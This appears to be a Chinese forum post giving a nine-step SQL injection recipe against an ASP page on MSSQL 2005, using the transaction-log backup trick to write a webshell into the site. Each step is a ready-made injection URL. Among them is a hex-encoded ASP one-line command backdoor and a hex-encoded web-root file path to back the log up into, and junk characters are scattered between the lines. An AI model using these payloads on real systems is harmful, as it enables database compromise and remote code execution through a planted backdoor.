Mssql2005 Log备份Webshell

admin

第一步
4 e& A2 |& Z: }' c6 t0 zhttp://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--

第二步：
% f- r8 k& ^' h! b" H' v, ]- `http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

" P6 B  V7 O9 v第三步
* [; S' P8 ~5 u4 A2 i  X- n/ a! {http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--
6 p; r8 ?8 i, S/ O! F+ f
. U. `0 O3 o( X! N. P! ?第四步
0 z% t* c9 Y* l8 U! C7 F) yhttp://itpro.blog.163.com/test.asp';create/**/table/**/[itpro]([a]/**/image)--

/ y1 d3 }6 A+ R! Y. g- ?第五步
, W( @$ l/ _% {$ R3 \7 |$ Q/ o' S1 ]http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

$ v4 i" w; Y$ e5 m; W* Z2 X( O第六步
0 G% ]* Z  R# {# A9 j. m3 Ohttp://itpro.blog.163.com/test.asp';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--

第七步
  W/ V7 o4 `% f9 }! f2 Z6 Mhttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
9 u# U5 k- d# [7 ]' x9 d- Q6 O9 D2 Z
第八步
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--

0 L* X  b) @' C! w第九步
- h( s0 s: a6 T4 Phttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
, c( [! t, r3 V6 S# O3 }